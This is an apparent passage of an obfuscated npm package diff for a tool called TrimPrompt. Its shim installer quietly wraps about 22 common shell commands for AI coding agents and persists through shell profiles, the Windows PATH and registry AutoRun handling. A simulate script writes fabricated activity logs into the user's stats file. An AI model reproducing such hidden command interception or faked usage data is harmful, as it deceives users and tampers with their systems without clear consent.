orm','filter','existsSync','2006116ozsOry','trim.ps1','trim','toLowerCase','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','$PROFILE.CurrentUserAllHosts','$PROFILE.CurrentUserCurrentHost','npm','3672954sgDEQP','pnpm','Remove-ItemProperty\x20-Path\x20\x27','join','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','getOwnPropertyDescriptor','pipe','ruff','__importStar','983465pbLYOF','\x20\x22$@\x22\x0afi\x0a','\x20\x20exit\x20/b\x20%ERRORLEVEL%','\x27,\x20\x27User\x27)','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','call','env','Failed\x20to\x20uninstall\x20shims:\x20',':$PATH\x22\x0a','4012830RvLeim','2163AZqRhh','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);'];a0_0x3a5f=function(){return _0xfb94e6;};return a0_0x3a5f();}var __createBinding=this&&this[a0_0x51f96e(0x106)]||(Object[a0_0x51f96e(0xe0)]?function(_0xd203cc,_0x546138,_0x3eb10c,_0x468ef9){const _0x3845cc=a0_0x51f96e;if(_0x468ef9===undefined)_0x468ef9=_0x3eb10c;var _0x33e8aa=Object[_0x3845cc(0xcc)](_0x546138,_0x3eb10c);(!_0x33e8aa||('get'in _0x33e8aa?!_0x546138[_0x3845cc(0x131)]:_0x33e8aa[_0x3845cc(0xf0)]||_0x33e8aa['configurable']))&&(_0x33e8aa={'enumerable':!![],'get':function(){return _0x546138[_0x3eb10c];}}),Object[_0x3845cc(0xe6)](_0xd203cc,_0x468ef9,_0x33e8aa);}:function(_0x4a3b09,_0x2bf195,_0x3b211b,_0x32cfb4){if(_0x32cfb4===undefined)_0x32cfb4=_0x3b211b;_0x4a3b09[_0x32cfb4]=_0x2bf195[_0x3b211b];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x51f96e(0xe0)]?function(_0x48ed70,_0x35b345){const _0x2808d1=a0_0x51f96e;Object[_0x2808d1(0xe6)](_0x48ed70,_0x2808d1(0x110),{'enumerable':!![],'value':_0x35b345});}:function(_0x2f8eb9,_0x16a6b8){const _0x33b6bf=a0_0x51f96e;_0x2f8eb9[_0x33b6bf(0x110)]=_0x16a6b8;}),__importStar=this&&this[a0_0x51f96e(0xcf)]||(function(){var _0x5033cd=function(_0x2e8172){const _0x8877ad=a0_0x2285;return _0x5033cd=Object[_0x8877ad(0xee)]||function(_0x26478e){const _0x514701=_0x8877ad;var _0x4e5565=[];for(var _0x5ac71b in _0x26478e)if(Object[_0x514701(0xf5)][_0x514701(0x117)][_0x514701(0xd5)](_0x26478e,_0x5ac71b))_0x4e5565[_0x4e5565[_0x514701(0x124)]]=_0x5ac71b;return _0x4e5565;},_0x5033cd(_0x2e8172);};return function(_0x377af3){const _0x5baff5=a0_0x2285;if(_0x377af3&&_0x377af3[_0x5baff5(0x131)])return _0x377af3;var _0x2c7c3d={};if(_0x377af3!=null){for(var _0x312bab=_0x5033cd(_0x377af3),_0x23bd37=0x0;_0x23bd37<_0x312bab[_0x5baff5(0x124)];_0x23bd37++)if(_0x312bab[_0x23bd37]!==_0x5baff5(0x110))__createBinding(_0x2c7c3d,_0x377af3,_0x312bab[_0x23bd37]);}return __setModuleDefault(_0x2c7c3d,_0x377af3),_0x2c7c3d;};}());Object['defineProperty'](exports,a0_0x51f96e(0x131),{'value':!![]}),exports[a0_0x51f96e(0x103)]=installShims,exports['uninstallShims']=uninstallShims;function a0_0x2285(_0x21bb61,_0x1de7b8){const _0x3a5fc1=a0_0x3a5f();return a0_0x2285=function(_0x2285e4,_0x4a1b5b){_0x2285e4=_0x2285e4-0xc7;let _0x23f544=_0x3a5fc1[_0x2285e4];return _0x23f544;},a0_0x2285(_0x21bb61,_0x1de7b8);}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x51f96e(0x138))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x51f96e(0xeb),'cat',a0_0x51f96e(0x11d),'grep','rg',a0_0x51f96e(0xce),a0_0x51f96e(0x13c),'gh','glab','cargo',a0_0x51f96e(0x147),a0_0x51f96e(0xc8),'npx','yarn',a0_0x51f96e(0x12f),a0_0x51f96e(0xf8),a0_0x51f96e(0x108),'pip',a0_0x51f96e(0x11b),'go',a0_0x51f96e(0x125)],PROFILE_MARKER=a0_0x51f96e(0x11e);function getExecSync(){const _0x5223c1=a0_0x51f96e;return require(_0x5223c1(0x11f))[_0x5223c1(0xf7)];}function getExecFileSync(){const _0x5bf8c4=a0_0x51f96e;return require(_0x5bf8c4(0x11f))[_0x5bf8c4(0xe4)];}function ensureProfileContains(_0x51a3da,_0x46cfa3,_0x2ad40d){const _0x4cadaa=a0_0x51f96e;try{const _0xb745d1=path[_0x4cadaa(0xf9)](_0x51a3da);!fs[_0x4cadaa(0x13f)](_0xb745d1)&&fs['mkdirSync'](_0xb745d1,{'recursive':!![]});if(fs[_0x4cadaa(0x13f)](_0x51a3da)){const _0x2dfddf=fs['readFileSync'](_0x51a3da,_0x4cadaa(0xe8));if(_0x2dfddf[_0x4cadaa(0x10c)](_0x46cfa3))return;fs[_0x4cadaa(0x129)](_0x51a3da,_0x2ad40d,_0x4cadaa(0xe8));}else fs['writeFileSync'](_0x51a3da,_0x2ad40d,_0x4cadaa(0xe8));}catch{}}function removeProfileBlock(_0xc44d5a,_0x2c4237){const _0x2dd535=a0_0x51f96e;try{if(!fs[_0x2dd535(0x13f)](_0xc44d5a))return;const _0x7e46a1=fs[_0x2dd535(0x116)](_0xc44d5a,_0x2dd535(0xe8));if(!_0x7e46a1['includes'](_0x2c4237))return;const _0x1564ab=_0x7e46a1[_0x2dd535(0x10b)]('\x0a'),_0x5930bd=[];let _0x381fda=![];for(let _0xad3f4e=0x0;_0xad3f4e<_0x1564ab[_0x2dd535(0x124)];_0xad3f4e++){if(_0x1564ab[_0xad3f4e]['includes'](_0x2c4237)){_0x381fda=!![];continue;}if(_0x381fda){_0x381fda=![];continue;}_0x5930bd[_0x2dd535(0x113)](_0x1564ab[_0xad3f4e]);}const _0x98835e=_0x5930bd[_0x2dd535(0xca)]('\x0a')[_0x2dd535(0x132)](/\n{3,}/g,'\x0a\x0a');fs[_0x2dd535(0x105)](_0xc44d5a,_0x98835e,_0x2dd535(0xe8));}catch{}}function collectPowerShellProfiles(){const _0x4cb0d7=a0_0x51f96e,_0x460958=getExecSync(),_0x36f24b=[],_0x348a7b=[[_0x4cb0d7(0x139),_0x4cb0d7(0x146)],['powershell',_0x4cb0d7(0x145)]];try{_0x460958(_0x4cb0d7(0xe2),{'stdio':_0x4cb0d7(0x112)}),_0x348a7b[_0x4cb0d7(0x113)]([_0x4cb0d7(0x107),_0x4cb0d7(0x145)]);}catch{}for(const [_0x218f9b,_0x5957ed]of _0x348a7b){try{const _0x2a86fc=_0x460958(_0x218f9b+'\x20-NoProfile\x20-Command\x20\x22'+_0x5957ed+'\x22',{'encoding':_0x4cb0d7(0xe8)})['trim']();_0x2a86fc&&!_0x36f24b['some'](_0x5eb042=>_0x5eb042['toLowerCase']()===_0x2a86fc[_0x4cb0d7(0x143)]())&&_0x36f24b[_0x4cb0d7(0x113)](_0x2a86fc);}catch{}}return _0x36f24b;}function getBashProfilesWindows(){const _0x39da38=a0_0x51f96e,_0x4aab29=os[_0x39da38(0x135)]();return[_0x39da38(0xdd),_0x39da38(0x104)][_0x39da38(0x120)](_0x129e25=>path[_0x39da38(0xca)](_0x4aab29,_0x129e25));}function getBroadcastCommand(){const _0x2f681c=a0_0x51f96e;return _0x2f681c(0xdb);}function installShims(){const _0x44dae6=a0_0x51f96e,_0x252f22=path[_0x44dae6(0xca)](os[_0x44dae6(0x135)](),_0x44dae6(0x10e),_0x44dae6(0xfc));try{!fs[_0x44dae6(0x13f)](_0x252f22)&&fs[_0x44dae6(0x130)](_0x252f22,{'recursive':!![]});const _0x170ba3=os[_0x44dae6(0x13d)]()===_0x44dae6(0xea);for(const _0xfc85e8 of SHIMMED_COMMANDS){if(_0x170ba3){const _0x335178=path[_0x44dae6(0xca)](_0x252f22,_0xfc85e8+_0x44dae6(0xf6)),_0x24b52a=process[_0x44dae6(0xd6)][_0x44dae6(0xe9)]?path[_0x44dae6(0xca)](process[_0x44dae6(0xd6)][_0x44dae6(0xe9)],_0x44dae6(0x147)):'',_0x3283e2=_0x24b52a?path[_0x44dae6(0xca)](_0x24b52a,_0x44dae6(0xdc)):_0x44dae6(0x12e),_0xbe3e3f=[_0x44dae6(0xf4),'if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(',_0x44dae6(0x133)+_0x252f22+_0x44dae6(0xfe),'\x20\x20'+_0xfc85e8+_0x44dae6(0x12b),_0x44dae6(0xd2),')','if\x20exist\x20\x22'+_0x3283e2+_0x44dae6(0x136),_0x44dae6(0xe3)+_0xfc85e8+_0x44dae6(0x12b),_0x44dae6(0x102),_0x44dae6(0x133)+_0x252f22+_0x44dae6(0xfe),'\x20\x20'+_0xfc85e8+_0x44dae6(0x12b),')'][_0x44dae6(0xca)]('\x0d\x0a')+'\x0d\x0a';fs[_0x44dae6(0x105)](_0x335178,_0xbe3e3f,_0x44dae6(0xe8));const _0x144c78=path['join'](_0x252f22,_0xfc85e8+_0x44dae6(0x119)),_0x1c4871=_0x44dae6(0xf3)+_0xfc85e8+_0x44dae6(0x12a)+_0xfc85e8+_0x44dae6(0x114)+_0xfc85e8+_0x44dae6(0xff);fs['writeFileSync'](_0x144c78,_0x1c4871,_0x44dae6(0xe8));const _0x27782a=path[_0x44dae6(0xca)](_0x252f22,_0xfc85e8),_0x41687e=_0x252f22[_0x44dae6(0x132)](/\\/g,'/')[_0x44dae6(0x132)](/^([A-Za-z]):/,(_0x4020ad,_0x5803f5)=>'/'+_0x5803f5[_0x44dae6(0x143)]()),_0x54fa42=_0x44dae6(0x126)+_0xfc85e8+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x41687e+':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0xfc85e8+_0x44dae6(0x12d)+_0x41687e+_0x44dae6(0x122)+_0xfc85e8+_0x44dae6(0xd1);fs[_0x44dae6(0x105)](_0x27782a,_0x54fa42,_0x44dae6(0xe8));}else{const _0x3facf8=path[_0x44dae6(0xca)](_0x252f22,_0xfc85e8),_0x46846d=_0x44dae6(0xd4)+_0xfc85e8+_0x44dae6(0xf1)+_0xfc85e8+_0x44dae6(0x101);fs[_0x44dae6(0x105)](_0x3facf8,_0x46846d,_0x44dae6(0xe8)),fs[_0x44dae6(0x137)](_0x3facf8,_0x44dae6(0x123));}}let _0x2984d6=![],_0x31bd01='';if(_0x170ba3)try{const _0x4c02d0=getExecSync(),_0x1e3c46=_0x44dae6(0x13b)+PROFILE_MARKER+_0x44dae6(0x115)+_0x252f22+';\x22\x20+\x20$env:PATH\x0a',_0x245c14=collectPowerShellProfiles();for(const _0x14f0b6 of _0x245c14){ensureProfileContains(_0x14f0b6,_0x252f22,_0x1e3c46);}try{const _0x5b56ae=_0x252f22[_0x44dae6(0x132)](/\\/g,'/')[_0x44dae6(0x132)](/^([A-Za-z]):/,(_0x5478e8,_0x17b778)=>'/'+_0x17b778['toLowerCase']()),_0x5cf577='\x0a#\x20'+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0x5b56ae+':$PATH\x22\x0a',_0x5ccddf=getBashProfilesWindows();let _0x2b0bdc=![];for(const _0x24cc80 of _0x5ccddf){fs[_0x44dae6(0x13f)](_0x24cc80)&&(ensureProfileContains(_0x24cc80,_0x5b56ae,_0x5cf577),_0x2b0bdc=!![]);}!_0x2b0bdc&&ensureProfileContains(_0x5ccddf[0x0],_0x5b56ae,_0x5cf577);}catch{}const _0x3a2092=_0x44dae6(0xcb),_0x5d8760=_0x4c02d0(_0x44dae6(0xfa)+_0x3a2092+'\x22',{'encoding':_0x44dae6(0xe8),'stdio':[_0x44dae6(0xcd),'pipe',_0x44dae6(0x112)]})[_0x44dae6(0x142)]();if(!_0x5d8760[_0x44dae6(0x10c)](_0x252f22)){const _0x1aefac=_0x252f22+';'+_0x5d8760,_0x33fc21=_0x1aefac[_0x44dae6(0x132)](/'/g,'\x27\x27'),_0x1aad44=_0x44dae6(0xe5)+_0x33fc21+'\x27,\x20\x27User\x27)';_0x4c02d0(_0x44dae6(0xfa)+_0x1aad44+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x44dae6(0x112)});}const _0x2344e7=path['join'](process['env'][_0x44dae6(0xe9)]||'','npm',_0x44dae6(0x141));if(fs['existsSync'](_0x2344e7))try{fs['unlinkSync'](_0x2344e7);}catch{}_0x2984d6=!![];}catch(_0x2d64ce){_0x31bd01=_0x44dae6(0xfd)+_0x252f22;}else try{const _0x414e22='export\x20PATH=\x22'+_0x252f22+_0x44dae6(0xd8),_0xfea520=os['homedir'](),_0x5c5717=[_0x44dae6(0xdd),_0x44dae6(0xec),_0x44dae6(0x104),_0x44dae6(0xef)];let _0x114161=![];for(const _0x2ea68d of _0x5c5717){const _0x4399e5=path[_0x44dae6(0xca)](_0xfea520,_0x2ea68d);fs[_0x44dae6(0x13f)](_0x4399e5)&&(ensureProfileContains(_0x4399e5,_0x252f22,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x414e22),_0x114161=!![]);}if(!_0x114161){const _0x5452bd=path[_0x44dae6(0xca)](_0xfea520,_0x44dae6(0xdd));ensureProfileContains(_0x5452bd,_0x252f22,_0x44dae6(0x13b)+PROFILE_MARKER+'\x0a'+_0x414e22);}_0x2984d6=!![];}catch(_0x3c0b22){_0x31bd01=_0x44dae6(0x100)+_0x252f22+_0x44dae6(0x111);}const _0x179c63=[_0x44dae6(0x121),'\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!',_0x44dae6(0x121),'\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)',_0x44dae6(0x118),_0x44dae6(0x121)]['join']('\x0a'),_0x32e385=_0x2984d6?_0x179c63:_0x44dae6(0xde)+SHIMMED_COMMANDS[_0x44dae6(0x124)]+'\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x31bd01;return{'success':!![],'pathDir':_0x252f22,'message':_0x32e385};}catch(_0x2d08cd){return{'success':![],'pathDir':_0x252f22,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x2d08cd[_0x44dae6(0x10a)]};}}function uninstallShims(){const _0x298c41=a0_0x51f96e,_0x58bf9b=path[_0x298c41(0xca)](os[_0x298c41(0x135)](),_0x298c41(0x10e),_0x298c41(0xfc)),_0x2f1998=os['platform']()==='win32';try{if(_0x2f1998){const _0x206171=getExecSync();try{const _0x2f5885=getExecFileSync(),_0x67e6c2=_0x298c41(0xe1),_0x5087fb=_0x298c41(0x144)+_0x67e6c2+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x3b8aec=_0x2f5885(_0x298c41(0xdf),[_0x298c41(0x127),'-Command',_0x5087fb],{'encoding':'utf8','stdio':['pipe','pipe',_0x298c41(0x112)]})['trim']();if(_0x3b8aec['includes'](_0x58bf9b)){const _0x1299eb=_0x3b8aec[_0x298c41(0x10b)]('\x20&\x20')[_0x298c41(0x13e)](_0x2479a9=>!_0x2479a9['includes'](_0x58bf9b));if(_0x1299eb[_0x298c41(0x124)]===0x0){const _0x13da2c=_0x298c41(0xc9)+_0x67e6c2+_0x298c41(0x13a);_0x2f5885('powershell.exe',['-NoProfile',_0x298c41(0xe7),_0x13da2c],{'stdio':_0x298c41(0x112)});}else{const _0xd742a0=_0x1299eb['join'](_0x298c41(0xfb)),_0x20ff8c=_0x298c41(0x109)+_0x67e6c2+_0x298c41(0xed)+_0xd742a0+'\x27';_0x2f5885('powershell.exe',[_0x298c41(0x127),_0x298c41(0xe7),_0x20ff8c],{'stdio':_0x298c41(0x112)});}}}catch{}try{const _0x40581f=collectPowerShellProfiles();for(const _0x4fbd11 of _0x40581f){removeProfileBlock(_0x4fbd11,PROFILE_MARKER);}}catch{}try{for(const _0x2d2b31 of getBashProfilesWindows()){removeProfileBlock(_0x2d2b31,PROFILE_MARKER);}}catch{}try{const _0x1ab34f=_0x298c41(0xcb),_0x54d847=_0x206171('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1ab34f+'\x22',{'encoding':_0x298c41(0xe8),'stdio':[_0x298c41(0xcd),_0x298c41(0xcd),'ignore']})['trim']();if(_0x54d847[_0x298c41(0x10c)](_0x58bf9b)){const _0x13c8bf=_0x54d847[_0x298c41(0x10b)](';')['filter'](_0x668916=>_0x668916[_0x298c41(0x142)]()[_0x298c41(0x143)]()!==_0x58bf9b['toLowerCase']())[_0x298c41(0xca)](';'),_0x258800=_0x13c8bf['replace'](/'/g,'\x27\x27'),_0x50dd08=_0x298c41(0xe5)+_0x258800+_0x298c41(0xd3);_0x206171('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x50dd08+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x298c41(0x112)});}}catch{}}else{const _0x513327=os[_0x298c41(0x135)](),_0x487e2c=['.bashrc',_0x298c41(0xec),_0x298c41(0x104),_0x298c41(0xef)];for(const _0x155d1c of _0x487e2c){removeProfileBlock(path[_0x298c41(0xca)](_0x513327,_0x155d1c),PROFILE_MARKER);}}if(fs['existsSync'](_0x58bf9b)){const _0x1f1578=fs[_0x298c41(0x11c)](_0x58bf9b);for(const _0x5ec1c6 of _0x1f1578){fs[_0x298c41(0x128)](path['join'](_0x58bf9b,_0x5ec1c6));}fs[_0x298c41(0x134)](_0x58bf9b);}return{'success':!![],'message':_0x298c41(0x10d)};}catch(_0x399cec){return{'success':![],'message':_0x298c41(0xd7)+_0x399cec[_0x298c41(0x10a)]};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x4c674d=a0_0x2640;(function(_0x1ebc5a,_0x9ce163){const _0x434a0c=a0_0x2640,_0x27d100=_0x1ebc5a();while(!![]){try{const _0x5950bb=-parseInt(_0x434a0c(0x19b))/0x1+-parseInt(_0x434a0c(0x1b0))/0x2+parseInt(_0x434a0c(0x192))/0x3*(-parseInt(_0x434a0c(0x199))/0x4)+parseInt(_0x434a0c(0x19d))/0x5*(parseInt(_0x434a0c(0x1ae))/0x6)+parseInt(_0x434a0c(0x1ac))/0x7*(-parseInt(_0x434a0c(0x1a5))/0x8)+-parseInt(_0x434a0c(0x1b8))/0x9+parseInt(_0x434a0c(0x191))/0xa;if(_0x5950bb===_0x9ce163)break;else _0x27d100['push'](_0x27d100['shift']());}catch(_0x3487c5){_0x27d100['push'](_0x27d100['shift']());}}}(a0_0x1158,0x6f8a1));Object['defineProperty'](exports,a0_0x4c674d(0x1c3),{'value':!![]});function a0_0x1158(){const _0x4f498a=['npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','3301002SkOgaA','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','found\x200\x20vulnerabilities\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','path','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','claude-3-5-sonnet','__esModule','floor','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','tracker','git\x20log\x20-n\x205','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','homedir','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','stringify','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','26652090xYhTsu','11031jqhhDx','claude-3-opus','logExecution','test\x20tests::test_case_','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','join','424mHgKIE','gpt-4o-mini','315208NCZuFs','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','5iKkTCw','gemini-1-5-flash','gemini-1-5-pro','repeat','length','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','writeFileSync','toISOString','958936zaxzBl','stats.json','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','raw','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','log','cmd','42feojxc','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','1095582jXcUri','git\x20diff\x20main','1199982DCipCw','cargo\x20test','gpt-4o','comp','exitCode'];a0_0x1158=function(){return _0x4f498a;};return a0_0x1158();}function a0_0x2640(_0x2358fb,_0x3191f6){const _0x11588e=a0_0x1158();return a0_0x2640=function(_0x264063,_0x1d9373){_0x264063=_0x264063-0x18a;let _0x2e5e49=_0x11588e[_0x264063];return _0x2e5e49;},a0_0x2640(_0x2358fb,_0x3191f6);}const tracker_1=require('./tracker');console[a0_0x4c674d(0x1aa)](a0_0x4c674d(0x197));const models=[a0_0x4c674d(0x1c2),a0_0x4c674d(0x1b2),a0_0x4c674d(0x19a),a0_0x4c674d(0x19f),a0_0x4c674d(0x19e),a0_0x4c674d(0x193)],commands=[{'cmd':a0_0x4c674d(0x1af),'raw':a0_0x4c674d(0x1b6)[a0_0x4c674d(0x1a0)](0x32),'comp':a0_0x4c674d(0x1b9),'exitCode':0x0},{'cmd':a0_0x4c674d(0x1b1),'raw':a0_0x4c674d(0x1c0)+a0_0x4c674d(0x195)[a0_0x4c674d(0x1a0)](0x28)+'\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','comp':a0_0x4c674d(0x1bd),'exitCode':0x0},{'cmd':'npm\x20install\x20lodash\x20express\x20uuid\x20react','raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x4c674d(0x18b)+a0_0x4c674d(0x1bc),'comp':a0_0x4c674d(0x1b5),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+a0_0x4c674d(0x190)+a0_0x4c674d(0x19c)+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':a0_0x4c674d(0x1c1),'exitCode':0x0},{'cmd':'kubectl\x20get\x20pods\x20-n\x20production','raw':a0_0x4c674d(0x196)+a0_0x4c674d(0x1a7)+a0_0x4c674d(0x18d)+a0_0x4c674d(0x1b7)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x4c674d(0x1be),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0x4c674d(0x1a2)+a0_0x4c674d(0x18e),'comp':'pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','exitCode':0x0},{'cmd':a0_0x4c674d(0x18a),'raw':a0_0x4c674d(0x1a9)+a0_0x4c674d(0x1ad),'comp':a0_0x4c674d(0x1c5),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x4c674d(0x1ba)+a0_0x4c674d(0x1bb)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date['now']()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x4c674d(0x1c4)](Math['random']()*commands[a0_0x4c674d(0x1a1)])];process['env']['TRIMPROMPT_MODEL']=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4c674d(0x1a4)](),log=tracker_1[a0_0x4c674d(0x1c6)][a0_0x4c674d(0x194)](commandItem[a0_0x4c674d(0x1ab)],commandItem[a0_0x4c674d(0x1a8)],commandItem[a0_0x4c674d(0x1b3)],commandItem[a0_0x4c674d(0x1b4)]),logs=tracker_1['tracker']['getLogs']();logs[a0_0x4c674d(0x1a1)]>0x0&&(logs[logs[a0_0x4c674d(0x1a1)]-0x1]['timestamp']=timestamp,require('fs')[a0_0x4c674d(0x1a3)](require(a0_0x4c674d(0x1bf))[a0_0x4c674d(0x198)](require('os')[a0_0x4c674d(0x18c)](),'.trimprompt',a0_0x4c674d(0x1a6)),JSON[a0_0x4c674d(0x18f)](logs,null,0x2),'utf8'));}console[a0_0x4c674d(0x1aa)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function a0_0x4306(_0x2345c0,_0x41527a){const _0x44b178=a0_0x44b1();return a0_0x4306=function(_0x43069b,_0x4b19f6){_0x43069b=_0x43069b-0x1f4;let _0x30bb52=_0x44b178[_0x43069b];return _0x30bb52;},a0_0x4306(_0x2345c0,_0x41527a);}const a0_0x545210=a0_0x4306;(function(_0x25203f,_0x38e948){const _0x4591e4=a0_0x4306,_0x268b79=_0x25203f();while(!![]){try{const _0x29f862=parseInt(_0x4591e4(0x26a))/0x1*(parseInt(_0x4591e4(0x254))/0x2)+parseInt(_0x4591e4(0x268))/0x3*(parseInt(_0x4591e4(0x214))/0x4)+parseInt(_0x4591e4(0x1f7))/0x5*(parseInt(_0x4591e4(0x271))/0x6)+parseInt(_0x4591e4(0x1ff))/0x7+-parseInt(_0x4591e4(0x25b))/0x8*(parseInt(_0x4591e4(0x26c))/0x9)+-parseInt(_0x4591e4(0x237))/0xa*(parseInt(_0x4591e4(0x221))/0xb)+-parseInt(_0x4591e4(0x21d))/0xc;if(_0x29f862===_0x38e948)break;else 